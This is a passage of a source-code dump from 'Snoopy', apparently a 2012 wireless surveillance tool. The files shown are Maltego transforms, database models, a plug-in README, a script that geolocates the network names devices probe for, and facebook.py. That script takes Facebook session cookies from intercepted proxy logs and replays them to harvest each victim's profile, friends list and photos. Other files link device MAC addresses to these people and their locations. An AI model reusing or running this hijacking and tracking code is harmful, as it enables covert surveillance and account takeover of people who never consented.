#NewEnt.addAdditionalFields("start_time", "start_time", "nostrict",start) 82 | #NewEnt.addAdditionalFields("end_time","end_time", "nostrict",end) 83 | #NewEnt.addAdditionalFields("location","location","strict",location) 84 | #NewEnt.addAdditionalFields("run_id","run_id","strict",run_id) 85 | 86 | 87 | TRX.returnOutput() 88 | try: 89 | main() 90 | except Exception, e: 91 | logging.debug(e) 92 | 93 | -------------------------------------------------------------------------------- /snoopy/server/bin/ssid_to_loc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # coding=utf-8 3 | # glenn@sensepost.com 4 | # Snoopy // 2012 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | # Uses wigle_api to query SSIDs from the MySQL database 8 | 9 | from wigle_api_lite import fetchLocations 10 | import time 11 | import stawk_db 12 | import sys 13 | import re 14 | import logging 15 | 16 | from warnings import filterwarnings 17 | import MySQLdb as Database 18 | filterwarnings('ignore', category = Database.Warning) 19 | 20 | num_threads=2 21 | Flag=True 22 | bad_ssids={} 23 | #if len(sys.argv) < 2: 24 | #priority=None 25 | # priority=2 26 | #else: 27 | # Allows us to set real time priority, e.g for Maltego 28 | # priority=int(sys.argv[1]) 29 | 30 | def main(): 31 | logging.info("Starting Wigle GeoLocator") 32 | 33 | cursor = stawk_db.dbconnect() 34 | while Flag: 35 | cursor.execute("SELECT DISTINCT probe_ssid FROM probes WHERE probe_ssid != '' AND probe_ssid NOT LIKE '%\\\\\\%' AND probe_ssid NOT IN (SELECT DISTINCT ssid from wigle) ORDER BY PRIORITY") 36 | result=cursor.fetchall() 37 | if(len(result) > 0): 38 | logging.info("Looking up address for %d SSIDs" %len(result)) 39 | for r in result: 40 | if r[0] in bad_ssids and bad_ssids[r[0]] > 4: 41 | logging.info("Ignoring bad SSID '%s' after %d failed lookups"%(r[0],bad_ssids[r[0]])) 42 | cursor.execute("INSERT INTO wigle (ssid,overflow) VALUES (%s,-2)",(ssid)) 43 | else: 44 | locations=fetchLocations(r[0]) 45 | 46 | if locations == None: 47 | logging.info("Wigle account has been shunned, backing off for 20 minutes") 48 | time.sleep(60*20) 49 | elif 'error' in locations: 50 | logging.info("An error occured, will retry in 60 seconds (%s)" %locations['error']) 51 | if r[0] not in bad_ssids: 52 | bad_ssids[r[0]]=0 53 | bad_ssids[r[0]]+=1 54 | #print bad_ssids 55 | time.sleep(60) 56 | 57 | else: 58 | for l in locations: 59 | country,code,address="","","" 60 | if( 'country' in l['ga'] ): 61 | country=l['ga']['country'] 62 | if( 'code' in l['ga'] ): 63 | code=l['ga']['code'] 64 | if( 'address' in l['ga'] ): 65 | address=l['ga']['address'] 66 | 67 | ssid=l['ssid'] 68 | g_long=l['long'] 69 | g_lat=l['lat'] 70 | mac=re.sub(':','',l['mac']) 71 | last_seen=l['last_seen'] 72 | overflow=l['overflow'] 73 | 74 | 75 | 76 | # logging.info("INSERT INTO wigle (ssid,mac,gps_lat,gps_long,last_update,overflow, country,code,address) VALUES ('%s','%s','%s','%s','%s','%s','%s','%s','%s')"%(ssid,mac,g_lat,g_long,last_seen,overflow,country,code,address)) 77 | cursor.execute("INSERT INTO wigle (ssid,mac,gps_lat,gps_long,last_update,overflow, country,code,address) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s)",(ssid,mac,g_lat,g_long,last_seen,overflow,country,code,address)) 78 | 79 | 80 | # print locations 81 | 82 | time.sleep(5) 83 | 84 | if __name__ == "__main__": 85 | logging.basicConfig(level=logging.DEBUG,format='%(asctime)s %(levelname)s %(filename)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 86 | 87 | while True: 88 | try: 89 | main() 90 | except Exception, e: 91 | logging.error("Beware the ides of March") 92 | logging.error(e) 93 | time.sleep(10) 94 | 95 | -------------------------------------------------------------------------------- /snoopy/server/transforms/fetchFacebook.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import sys 3 | import os 4 | from Maltego import * 5 | import stawk_db 6 | import logging 7 | import datetime 8 | 9 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 10 | 11 | sys.stderr = sys.stdout 12 | 13 | def main(): 14 | 15 | fb_view_url=None 16 | try: 17 | p=os.path.dirname(os.path.realpath(__file__)) 18 | f=open("%s/../setup/webroot_guid.txt"%p,"r") 19 | fb_view_url=f.readline().strip() + "/web_data/facebook/" 20 | except: 21 | logging.debug("Warning: Couldn't determind streetview webserver folder") 22 | 23 | 24 | 25 | print "Content-type: xml\n\n"; 26 | MaltegoXML_in = sys.stdin.read() 27 | if MaltegoXML_in <> '': 28 | m = MaltegoMsg(MaltegoXML_in) 29 | 30 | cursor=stawk_db.dbconnect() 31 | TRX = MaltegoTransform() 32 | 33 | 34 | try: 35 | 36 | mac=m.AdditionalFields['mac'] 37 | drone=m.AdditionalFields['drone'] 38 | 39 | logging.debug(mac) 40 | logging.debug(drone) 41 | 42 | logging.debug("SELECT id,name,gender,locale,network,link,degree FROM facebook,dhcp_leases WHERE facebook.ip=dhcp_leases.ip AND mac=%s"%(mac)) 43 | 44 | cursor.execute("SELECT id,name,gender,locale,network,link,degree FROM facebook,dhcp_leases WHERE facebook.ip=dhcp_leases.ip AND mac=%s",(mac)) 45 | results=cursor.fetchall() 46 | 47 | for row in results: 48 | id,name,gender,locale,network,link,degree=row[0],row[1],row[2],row[3],row[4],row[5],row[6] 49 | 50 | if id != None: 51 | id=id.encode('utf8','xmlcharrefreplace') 52 | if name != None: 53 | name=name.encode('utf8','xmlcharrefreplace') 54 | if gender != None: 55 | gender=gender.encode('utf8','xmlcharrefreplace') 56 | if locale != None: 57 | locale=locale.encode('utf8','xmlcharrefreplace') 58 | if network != None: 59 | network=network.encode('utf8','xmlcharrefreplace') 60 | else: 61 | network="-" 62 | if link != None: 63 | link=link.encode('utf8','xmlcharrefreplace') 64 | 65 | NewEnt=TRX.addEntity("maltego.FacebookObject",name) 66 | NewEnt.addAdditionalFields("id","id","nostrict",id) 67 | NewEnt.addAdditionalFields("gender","gender","nostrict",gender) 68 | NewEnt.addAdditionalFields("locale","locale","nostrict",locale) 69 | NewEnt.addAdditionalFields("network","network","nostrict",network) 70 | NewEnt.addAdditionalFields("link","link","nostrict",link) 71 | NewEnt.addAdditionalFields("degree","degree","nostrict",degree) 72 | 73 | NewEnt.addAdditionalFields("drone","drone","nostrict",drone) 74 | NewEnt.addAdditionalFields("mac","mac","nostrict",mac) 75 | 76 | logging.debug("Facebook profile photo - %s/%s/profile.jpg" % (fb_view_url,id)) 77 | if( fb_view_url != None): 78 | NewEnt.addAdditionalFields("facebook_profile_photo","Profile","strict","%s/%s/profile.jpg"%(fb_view_url,id)) 79 | NewEnt.setIconURL("%s/%s/profile.jpg" % (fb_view_url,id)) 80 | 81 | 82 | 83 | 84 | except Exception, e: 85 | logging.debug("Exception:") 86 | logging.debug(e) 87 | 88 | 89 | TRX.returnOutput() 90 | 91 | main() 92 | 93 | -------------------------------------------------------------------------------- /snoopy/server/transforms/fetchFacebookFriends.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com 4 | # Snoopy // 2012 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from Maltego import * 10 | import stawk_db 11 | import logging 12 | import datetime 13 | 14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 15 | 16 | sys.stderr = sys.stdout 17 | 18 | def main(): 19 | 20 | fb_view_url=None 21 | try: 22 | p=os.path.dirname(os.path.realpath(__file__)) 23 | f=open("%s/../setup/webroot_guid.txt"%p,"r") 24 | fb_view_url=f.readline().strip() + "/web_data/facebook/" 25 | except: 26 | logging.debug("Warning: Couldn't determind streetview webserver folder") 27 | 28 | 29 | print "Content-type: xml\n\n"; 30 | MaltegoXML_in = sys.stdin.read() 31 | if MaltegoXML_in <> '': 32 | m = MaltegoMsg(MaltegoXML_in) 33 | 34 | cursor=stawk_db.dbconnect() 35 | TRX = MaltegoTransform() 36 | 37 | 38 | try: 39 | mac,drone=0,0 40 | if 'mac' in m.AdditionalFields: 41 | mac=m.AdditionalFields['mac'] 42 | if 'drone' in m.AdditionalFields: 43 | drone=m.AdditionalFields['drone'] 44 | 45 | id=m.AdditionalFields['id'] 46 | 47 | logging.debug(mac) 48 | logging.debug(drone) 49 | logging.debug(id) 50 | logging.debug("SELECT facebook.id,name,gender,locale,network,link,degree FROM facebook_friends,facebook WHERE facebook_friends.id='%s' AND facebook_friends.friend_id=facebook.id"% (id)) 51 | 52 | cursor.execute("SELECT facebook.id,name,gender,locale,network,link,degree FROM facebook_friends,facebook WHERE facebook_friends.id=%s AND facebook_friends.friend_id=facebook.id", (id)) 53 | results=cursor.fetchall() 54 | 55 | 56 | for row in results: 57 | id,name,gender,locale,network,link,degree=row[0],row[1],row[2],row[3],row[4],row[5],row[6] 58 | 59 | if id != None: 60 | id=id.encode('utf8','xmlcharrefreplace') 61 | if name != None: 62 | name=name.encode('utf8','xmlcharrefreplace') 63 | if gender != None: 64 | gender=gender.encode('utf8','xmlcharrefreplace') 65 | if locale != None: 66 | locale=locale.encode('utf8','xmlcharrefreplace') 67 | if network != None: 68 | network=network.encode('utf8','xmlcharrefreplace') 69 | else: 70 | network="-" 71 | if link != None: 72 | link=link.encode('utf8','xmlcharrefreplace') 73 | 74 | 75 | NewEnt=TRX.addEntity("maltego.FacebookObject",name) 76 | NewEnt.addAdditionalFields("id","id","nostrict",id) 77 | NewEnt.addAdditionalFields("gender","gender","nostrict",gender) 78 | NewEnt.addAdditionalFields("locale","locale","nostrict",locale) 79 | # NewEnt.addAdditionalFields("network","network","nostrict",network) 80 | NewEnt.addAdditionalFields("link","link","nostrict",link) 81 | NewEnt.addAdditionalFields("degree","degree","nostrict",degree) 82 | 83 | # NewEnt.addAdditionalFields("drone","drone","nostrict",drone) 84 | # NewEnt.addAdditionalFields("mac","mac","nostrict",mac) 85 | 86 | #logging.debug("Facebook profile photo - %s/%s/profile.jpg" % (fb_view_url,id)) 87 | if( fb_view_url != None): 88 | NewEnt.addAdditionalFields("facebook_profile_photo","Profile","strict","%s/%s/profile.jpg"%(fb_view_url,id)) 89 | NewEnt.setIconURL("%s/%s/profile.jpg" % (fb_view_url,id)) 90 | 91 | 92 | except Exception, e: 93 | logging.debug("Exception:") 94 | logging.debug(e) 95 | 96 | 97 | TRX.returnOutput() 98 | 99 | main() 100 | 101 | -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/db/models.py: -------------------------------------------------------------------------------- 1 | """Contains all SQLAlchemy ORM models.""" 2 | 3 | from cryptacular import bcrypt 4 | from sqlalchemy import Column 5 | from sqlalchemy import Boolean, CHAR, DateTime, Integer, Numeric, SmallInteger, String 6 | from sqlalchemy.ext.declarative import declarative_base 7 | from sqlalchemy.ext.hybrid import hybrid_property 8 | 9 | 10 | crypt = bcrypt.BCRYPTPasswordManager() 11 | 12 | def hash_password(password): 13 | return unicode(crypt.encode(password)) 14 | 15 | 16 | Session = None 17 | Base = declarative_base() 18 | 19 | 20 | ########## 21 | # MODELS # 22 | ########## 23 | 24 | class Probe(Base): 25 | __tablename__ = 'probes' 26 | 27 | # COLUMNS # 28 | # id = Column(Integer, primary_key=True) 29 | monitor = Column('monitor_id', String(20, convert_unicode=True), default=None, primary_key=True) 30 | device_mac = Column(CHAR(17), default=None, primary_key=True) 31 | probe_ssid = Column(String(100, convert_unicode=True), default=None, primary_key=True) 32 | signal_db = Column(Integer, default=None) 33 | timestamp = Column(DateTime, default=None, primary_key=True) 34 | run_id = Column(String(50), default=None) 35 | location = Column(String(50), default=None) 36 | proximity_session = Column(String(20), default=None) 37 | 38 | 39 | class Cookie(Base): 40 | __tablename__ = 'cookies' 41 | 42 | # COLUMNS # 43 | id = Column(Integer, primary_key=True) 44 | device_mac = Column(CHAR(17), nullable=False, default='') 45 | device_ip = Column(CHAR(15), default=None) 46 | site = Column(String(256), nullable=False, default='') 47 | cookie_name = Column(String(256), nullable=False, default='') 48 | cookie_name = Column(String(4096), nullable=False, default='') 49 | 50 | 51 | class GpsMovement(Base): 52 | __tablename__ = 'gps_movement' 53 | 54 | # COLUMNS # 55 | monitor = Column('monitor_id', String(20, convert_unicode=True), default=None, primary_key=True) 56 | run_id = Column(String(20), default=None) 57 | timestamp = Column(Integer, nullable=False, default=0, primary_key=True) 58 | gps_lat = Column(Numeric(8, 6)) 59 | gps_long = Column(Numeric(8, 6)) 60 | accuracy = Column(Numeric(8, 6)) 61 | 62 | 63 | class Wigle(Base): 64 | __tablename__ = 'wigle' 65 | 66 | # COLUMNS # 67 | ssid = Column(String(100), default=None, primary_key=True) 68 | gps_long = Column(Numeric(11, 8), default=None, primary_key=True) 69 | gps_lat = Column(Numeric(11, 8), default=None, primary_key=True) 70 | last_update = Column(DateTime, default=None) 71 | mac = Column(CHAR(17), default=None) 72 | overflow = Column(SmallInteger, default=None) 73 | 74 | 75 | class User(Base): 76 | __tablename__ = 'snoopy_user' 77 | 78 | # COLUMNS # 79 | id = Column(Integer, primary_key=True) 80 | name = Column(String(255, convert_unicode=True), unique=True) 81 | password_raw = Column('password', String(255, convert_unicode=True), nullable=False, default=u'') 82 | is_admin = Column(Boolean, default=False, nullable=False) 83 | 84 | @hybrid_property 85 | def password(self): 86 | return self.password_raw 87 | 88 | @password.setter 89 | def password(self, password): 90 | if len(password) < 8: 91 | raise ValueError('Password too short') 92 | self.password_raw = hash_password(password) 93 | 94 | # CLASS METHODS # 95 | @classmethod 96 | def check_password(cls, name, password): 97 | user = Session().query(cls).filter_by(name=name).first() 98 | if not user: 99 | return None 100 | return crypt.check(user.password, password) and user or None 101 | 102 | # SPECIAL METHODS # 103 | def __repr__(self): 104 | admin = '' 105 | if self.is_admin: 106 | admin = '*' 107 | return '<%s%s %d:%r>' % (admin, self.__class__.__name__, self.id, self.name) 108 | -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/README.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | 3 | 4 | # Requirements 5 | ## Python Packages 6 | * [Beaker](http://beaker.readthedocs.org/) 7 | * [cryptacular](http://pypi.python.org/pypi/cryptacular/) 8 | * [Flask](http://flask.pocoo.org/) 9 | * [MySQLdb](http://mysql-python.sourceforge.net/MySQLdb.html) 10 | * [SQLAlchemy](http://sqlalchemy.org/) 11 | 12 | 13 | # Plug-ins 14 | Plug-ins consist of two parts: 15 | * Back-end (data providing) part, written in Python 16 | * Front-end (displaying) part, written in JavaScript (optional) 17 | 18 | ## Back-end 19 | A plug-in is a callable that is dynamically loaded by the Snoopy application. 20 | Let's start with an example: 21 | 22 | from snoopy import db, pluginregistry 23 | 24 | @pluginregistry.add('client-data', 'ssidlist', 'SSID List', js='/static/js/ssidlist.js') 25 | def ssid_list(mac): 26 | with db.SessionCtx() as session: 27 | query = session.query( 28 | distinct(db.Probe.probe_ssid) # SELECT DISTINCT probe_ssid FROM probes 29 | ).filter_by( 30 | device_mac=mac # WHERE device_mac=$mac 31 | ).order_by( 32 | db.Probe.probe_ssid # ORDER BY probe_ssid 33 | ) 34 | return query.all() 35 | 36 | Now for the blow-by-blow... 37 | 38 | from snoopy import db, pluginregistry 39 | 40 | We need `db` to access the Snoopy database and `pluginregistry` to register our 41 | plug-in. 42 | 43 | @pluginregistry.add('client-data', 'ssidlist', 'SSID List', js='/static/js/ssidlist.js') 44 | 45 | This is how we register our plug-in (which can be any callable). The first 46 | argument specifies the name of the group that this plug-in falls into. We 47 | specified `client-data`, since this plug-in accepts a MAC address and returns 48 | data to be displayed in a client data window. Apart from `client-data`, there 49 | is also the `session-data` group of plug-ins that operate on proximity 50 | sessions. The second parameter is the plug-in name. This name is for internal 51 | use only and should be JSON-friendly. The third parameter is the plug-in title. 52 | Essentially it is the same as the name, but the title is displayed in the GUI. 53 | More specifically, this is the title of the data section in the client data 54 | window. 55 | 56 | All keyword arguments after the title are saved as options. While the plug-in 57 | system does not require any options, Snoopy supports the `js` option. This 58 | option specifies the **URL** (from the browser side, not from Snoopy's/the 59 | server's side) of the JavaScript component of this plug-in. 60 | 61 | def ssid_list(mac): 62 | 63 | This plug-in is a simple function. It accepts a MAC address string, as 64 | per `client-data` plug-ins' definition. The name of the callable is not used. 65 | 66 | The body of this example plug-in simply performs a SQLAlchemy query that 67 | basically does `SELECT DISTINCT probe_ssid FROM probes WHERE device_mac=$mac` 68 | and returns the results as a list. The return values of plug-ins are usually 69 | added as part of a JSON response. Therefore the results has the limitation that 70 | it must be JSON-friendly (as supported by Flask's `jsonify()` function). 71 | 72 | As simple as that! 73 | 74 | ## Front-end 75 | Front-end plug-ins for client data are referred to as client data handlers. 76 | They are registered via the `Snoopy.registerPlugin(sectionName, dataHandler)` 77 | function. `sectionName` is the name of the data section that the data handler 78 | wants to handle. This name is the same as the back-end plug-in name that 79 | generated the data. The `dataHandler` must be a function with the following 80 | signature: `function($section, clientData) {...}`. `$section` is a jQuery 81 | object of the div element where the data handler may display data or affect 82 | changes. The client data (generated by the back-end plug-in) is given in the 83 | `clientData` parameter. 84 | 85 | Since the data handler's only allowed output is changes to the given div 86 | (`$section`), no return value is necessary. 87 | -------------------------------------------------------------------------------- /snoopy/server/transforms/fetchSSIDLocations.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com 4 | # Snoopy // 2012 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from Maltego import * 10 | import stawk_db 11 | import logging 12 | from wigle_api_lite import fetchLocations 13 | import time 14 | from xml.sax.saxutils import escape 15 | 16 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 17 | 18 | sys.stderr = sys.stdout 19 | def main(): 20 | 21 | street_view_url=None 22 | try: 23 | p=os.path.dirname(os.path.realpath(__file__)) 24 | f=open("%s/../setup/webroot_guid.txt"%p,"r") 25 | street_view_url=f.readline().strip() + "/web_data/street_views/" 26 | except: 27 | logging.debug("Warning: Couldn't determind streetview webserver folder") 28 | 29 | 30 | 31 | print "Content-type: xml\n\n"; 32 | MaltegoXML_in = sys.stdin.read() 33 | if MaltegoXML_in <> '': 34 | m = MaltegoMsg(MaltegoXML_in) 35 | 36 | logging.debug(MaltegoXML_in) 37 | 38 | cursor=stawk_db.dbconnect() 39 | TRX = MaltegoTransform() 40 | 41 | ssid=m.Value 42 | 43 | try: 44 | cursor.execute("SELECT gps_lat,gps_long,country,code,address FROM wigle WHERE overflow = 0 AND ssid=%s LIMIT 500",(ssid)) #Can be useful to LIMIT 5, or some such. Make sure to do the same in fetchClientsFromCountry.py 45 | #cursor.execute("SELECT gps_lat,gps_long,country,code,address FROM wigle WHERE overflow = 0 AND ssid=%s",(ssid)) 46 | results=cursor.fetchall() 47 | for row in results: 48 | # How to Unicode, plox? 49 | lat=row[0] 50 | long=row[1] 51 | # country=row[2].decode('raw_unicode_escape').encode('ascii','xmlcharrefreplace') 52 | # code=row[3].decode('raw_unicode_escape').encode('ascii','xmlcharrefreplace') 53 | # address=row[4].decode('utf-8').encode('ascii','xmlcharrefreplace') 54 | country=row[2].encode('utf8','xmlcharrefreplace') 55 | code=row[3].encode('utf8','xmlcharrefreplace') 56 | address=row[4].encode('utf8','xmlcharrefreplace') 57 | 58 | #NewEnt=TRX.addEntity("snoopy.ssidLocation",country) 59 | NewEnt=TRX.addEntity("maltego.Location",country) 60 | NewEnt.addAdditionalFields("latitude","latitude","strict",lat) 61 | NewEnt.addAdditionalFields("longitude","longitude","strict",long) 62 | NewEnt.addAdditionalFields("country", "Country", "strict", country) 63 | NewEnt.addAdditionalFields("countrycode", "Country Code", "strict", code) 64 | # NewEnt.addAdditionalFields("streetaddress", "Street Address", "strict", "") 65 | NewEnt.addAdditionalFields("streetaddress", "Street Address", "strict", address) 66 | NewEnt.addAdditionalFields("googleMap", "Google map", "nostrict", escape("http://maps.google.com/maps?t=h&q=%s,%s"%(lat,long))) 67 | 68 | logging.debug(street_view_url) 69 | if( street_view_url != None): 70 | NewEnt.addAdditionalFields("streetview","streetview","strict","%s/%s,%s.jpg"%(street_view_url,lat,long)) 71 | NewEnt.setIconURL("%s/%s,%s.jpg" % (street_view_url,lat,long)) 72 | 73 | 74 | except Exception,e: 75 | logging.debug(e) 76 | 77 | 78 | logging.debug(TRX) 79 | TRX.returnOutput() 80 | 81 | 82 | def debug1(self): 83 | print ""; 84 | print ""; 85 | 86 | print "" 87 | for i in range(len(self.entities)): 88 | self.entities[i].returnEntity(); 89 | print "" 90 | 91 | print "" 92 | for i in range(len(self.UIMessages)): 93 | print "" + self.UIMessages[i][1] + ""; 94 | print "" 95 | 96 | print ""; 97 | print ""; 98 | 99 | 100 | 101 | main() 102 | 103 | -------------------------------------------------------------------------------- /snoopy/server/bin/facebook.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # glenn@sensepost.com 3 | # Snoopy // 2012 4 | # By using this code you agree to abide by the supplied LICENSE.txt 5 | 6 | # This script will go through web logs looking for Facebook cookies, and extract user details along 7 | # with all of their friends. 8 | 9 | import sys 10 | import os 11 | import stawk_db 12 | import re 13 | import time 14 | import requests 15 | import json 16 | from urllib import urlretrieve 17 | import logging 18 | 19 | def do_fb(snoopyDir): 20 | global cursor 21 | 22 | cursor.execute("SELECT get_fb_from_squid.c_user,get_fb_from_squid.cookies,get_fb_from_squid.client_ip FROM get_fb_from_squid LEFT JOIN facebook ON facebook.degree = 0 AND get_fb_from_squid.c_user = facebook.id WHERE facebook.id IS NULL") 23 | results=cursor.fetchall() 24 | 25 | for row in results: 26 | id,cookie,ip=row[0],row[1],row[2] 27 | # Get info on the intercepted user 28 | url='http://graph.facebook.com/%s'%(id) 29 | cj={} 30 | headers={"User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)", "Cookie":cookie} 31 | # for a in cookie.split(';'): 32 | # k,v=a.split('=') 33 | # cj[k]=v 34 | # r = requests.get(url,cookies=cj,headers=headers) 35 | r = requests.get(url,headers=headers) 36 | res=json.loads(r.text) 37 | ud={'id':'','name':'','first_name':'','last_name':'','link':'','username':'','gender':'','locale':''} 38 | 39 | # intersect = filter(fields.has_key, res.keys()) 40 | # for k in intersect: 41 | # ud[k]=res[k] 42 | 43 | for r in res: 44 | if r in ud: 45 | ud[r]=res[r] 46 | 47 | # Grab profile photo 48 | if not os.path.exists("%s/web_data/facebook/%s"%(snoopyDir,id)) and not os.path.isdir("%s/web_data/facebook/%s"%(snoopyDir,id)): 49 | os.makedirs("%s/web_data/facebook/%s"%(snoopyDir,id)) 50 | urlretrieve('http://graph.facebook.com/%s/picture'%id, '%s/web_data/facebook/%s/profile.jpg'%(snoopyDir,id)) 51 | 52 | logging.info("New user observed! - %s" %ud['name']) 53 | logging.info(ud) 54 | 55 | 56 | cursor.execute("INSERT IGNORE INTO facebook (ip,id,name,first_name,last_name,link,username,gender,locale,degree) VALUES(%s,%s,%s,%s,%s,%s,%s,%s,%s,0)", (ip,ud['id'],ud['name'],ud['first_name'],ud['last_name'],ud['link'],ud['username'],ud['gender'],ud['locale'])) 57 | 58 | 59 | # Pull his friends list 60 | url='http://www.facebook.com/ajax/typeahead_friends.php?__a=1&u=%s' %(id) 61 | r = requests.get(url,cookies=cj,headers=headers) 62 | res=json.loads(re.sub("for \(;;\);","",r.text)) 63 | friends=res['payload']['friends'] 64 | 65 | for friend in friends: 66 | #Grab their profile photo 67 | if not os.path.exists("%s/web_data/facebook/%s"%(snoopyDir,friend['i'])) and not os.path.isdir("%s/web_data/facebook/%s"%(snoopyDir,friend['i'])): 68 | logging.info("making dir %s/web_data/facebook/%s"%(snoopyDir,friend['i'])) 69 | os.makedirs("%s/web_data/facebook/%s"%(snoopyDir,friend['i'])) 70 | else: 71 | logging.info("Dir exists") 72 | 73 | urlretrieve('http://graph.facebook.com/%s/picture'%friend['i'], '%s/web_data/facebook/%s/profile.jpg'%(snoopyDir,friend['i'])) 74 | cursor.execute("INSERT IGNORE INTO facebook(id,name,link,network,it,degree) VALUES(%s,%s,%s,%s,%s,1)", (friend['i'], friend['t'],friend['u'],friend['n'],friend['it'])) 75 | cursor.execute("INSERT IGNORE INTO facebook_friends (id,friend_id) VALUES(%s,%s)", (id,friend['i'])) 76 | 77 | def db(): 78 | global cursor 79 | cursor=stawk_db.dbconnect() 80 | 81 | def main(snoopyDir): 82 | logging.info("Starting Facebook stalker") 83 | db() 84 | 85 | 86 | #####REMOVE POST TESTING 87 | while True: 88 | do_fb(snoopyDir) 89 | time.sleep(5) 90 | 91 | 92 | #TESTGING 93 | # while True: 94 | # try: 95 | # do_fb(snoopyDir) 96 | # except Exception, e: 97 | # logging.error("Something bad happened") 98 | # logging.error(e) 99 | # db() 100 | # time.sleep(5) 101 | 102 | if __name__ == "__main__": 103 | logging.basicConfig(level=logging.INFO,format='%(asctime)s %(levelname)s %(filename)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 104 | main(sys.argv[1]) 105 | -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/__init__.py: -------------------------------------------------------------------------------- 1 | """Main snoopy package.""" 2 | 3 | # Logging configuration 4 | import logging 5 | #logging.basicConfig(level=logging.DEBUG) 6 | #log = logging.getLogger(name='snoopy') 7 | 8 | import os 9 | import sys 10 | from collections import OrderedDict 11 | from ConfigParser import ConfigParser 12 | 13 | 14 | SRCDIR = os.path.dirname(__file__) 15 | 16 | 17 | class PluginRegistry(object): 18 | """Handles the loading and management of plug-ins. 19 | Plug-ins register in this registry by importing an instance of this 20 | class and decorating a callable with the `add()` method. Plug-ins are 21 | loaded from the directory specified in the `pluginsdir` variable. Once 22 | loaded, plug-ins are stored in the `self.plugins` dictionary. 23 | 24 | When loaded, the `self.plugins` dictionary has the following layout: 25 | 26 | self.plugins[groupname][plugin] = options 27 | 28 | where `groupname` is the group name specified as the first parameter to 29 | `add()`, `plugin` is the plug-in callable decorated with `add()` and 30 | `options` is a dictionary of the plug-in's name and title and any other 31 | keyword arguments to `add()`.""" 32 | 33 | pluginsdir = 'plugins' 34 | """The directory from where plug-ins are loaded, relative to this file.""" 35 | 36 | def __init__(self): 37 | self.plugins = {} 38 | 39 | def add(self, group, name, title, **options): 40 | """Decorator used by plug-ins to register with this registry. 41 | :param group: Name of the group that the decorated plug-in belongs 42 | to. This is the key under `self.plugins` that the plug-in is 43 | stored. 44 | :param name: The plug-in's internal (JSON-friendly) name. 45 | :param title: The plug-in's external (display-friendly) name. 46 | :param options: All keyword arguments (and name and title) are 47 | stored as plug-in options.""" 48 | options.update(dict(name=name, title=title)) 49 | if group not in self.plugins: 50 | self.plugins[group] = OrderedDict() 51 | def plugin_decorator(plugin): 52 | logging.debug('Registering plug-in: %r', plugin) 53 | self.plugins[group][plugin] = options 54 | return plugin 55 | return plugin_decorator 56 | 57 | def collect(self): 58 | """Collect plug-ins from the `plugins` directory.""" 59 | for fname in os.listdir(os.path.join(SRCDIR, self.pluginsdir)): 60 | parts = fname.split(os.extsep) 61 | if parts[-1] != 'py' or fname.startswith('__') or len(parts) != 2: 62 | continue # Not a valid Python file to import 63 | __import__('snoopy.%s.%s' % (self.pluginsdir, parts[0])) 64 | 65 | pluginregistry = PluginRegistry() 66 | 67 | 68 | class Config(object): 69 | def __init__(self): 70 | self._parser = ConfigParser() 71 | # Prevent the parser from changing the case of option names: 72 | self._parser.optionxform = str 73 | 74 | def __getitem__(self, secname): 75 | if secname not in self._parser.sections(): 76 | return {} 77 | section = self._parser._sections[secname].copy() 78 | if '__name__' in section: 79 | del section['__name__'] 80 | return section 81 | 82 | def from_file(self, fname): 83 | self._parser.read(fname) 84 | self._post_load() 85 | logging.debug('configuration loaded from %r', fname) 86 | return self._parser._sections 87 | 88 | def from_sysargv(self): 89 | if len(sys.argv) > 1: 90 | return self.from_file(sys.argv[1]) 91 | 92 | def _post_load(self): 93 | parser = self._parser 94 | for section in parser.sections(): 95 | for key in parser.options(section): 96 | val = parser.get(section, key) 97 | if val.lower() in ('true', 'false'): 98 | parser.set(section, key, val.lower() == 'true') 99 | 100 | config = Config() 101 | -------------------------------------------------------------------------------- /snoopy/server/transforms/fetchDrones.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com 4 | # Snoopy // 2012 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from Maltego import * 10 | import stawk_db 11 | import logging 12 | import datetime 13 | from time import strftime 14 | import re 15 | from common import * 16 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 17 | 18 | sys.stderr = sys.stdout 19 | 20 | def main(): 21 | 22 | print "Content-type: xml\n\n"; 23 | MaltegoXML_in = sys.stdin.read() 24 | if MaltegoXML_in <> '': 25 | m = MaltegoMsg(MaltegoXML_in) 26 | 27 | cursor=stawk_db.dbconnect() 28 | TRX = MaltegoTransform() 29 | 30 | # If no start / end times are specified, we default to lookback 31 | now=datetime.datetime.now() 32 | if 'start_time' in m.AdditionalFields and 'end_time' in m.AdditionalFields : 33 | start_time=m.AdditionalFields['start_time'] 34 | end_time=m.AdditionalFields['end_time'] 35 | else: 36 | start_time=now+datetime.timedelta(seconds=-lookback) 37 | 